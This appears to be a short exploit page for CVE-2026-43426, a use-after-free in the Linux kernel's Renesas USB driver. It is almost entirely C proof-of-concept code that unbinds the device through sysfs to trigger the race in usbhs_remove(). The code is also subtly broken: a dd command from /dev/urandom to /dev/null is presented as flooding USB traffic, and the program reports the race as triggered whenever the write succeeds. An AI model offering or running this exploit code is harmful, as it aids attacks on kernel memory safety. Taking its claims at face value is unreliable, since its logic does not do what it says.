CVE-2026-43426: Linux内核Renesas USB驱动释放后重用漏洞

/* * PoC Concept: Trigger the race condition in renesas_usbhs * This script simulates the unbinding process to trigger removal. * Actual exploitation requires precise timing to hit the interrupt window. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> void trigger_exploit() { // Path to the unbind interface for the specific driver const char *unbind_path = "/sys/bus/platform/drivers/renesas_usbhs/unbind"; // The device name to unbind (needs to be determined based on hardware) const char *device_id = "xxx00000.usb"; printf("[*] Attempting to trigger UAF in renesas_usbhs...\n"); // In a real exploit, we would flood the device with USB traffic here // to maximize the chance of an interrupt firing during the race window. system("dd if=/dev/urandom of=/dev/null bs=1M count=100 &"); int fd = open(unbind_path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open unbind path"); return; } printf("[*] Unbinding device to trigger usbhs_remove()...\n"); if (write(fd, device_id, strlen(device_id)) < 0) { perror("[-] Failed to write to unbind"); } else { printf("[+] Unbind successful. Race condition triggered.\n"); } close(fd); } int main() { trigger_exploit(); return 0; }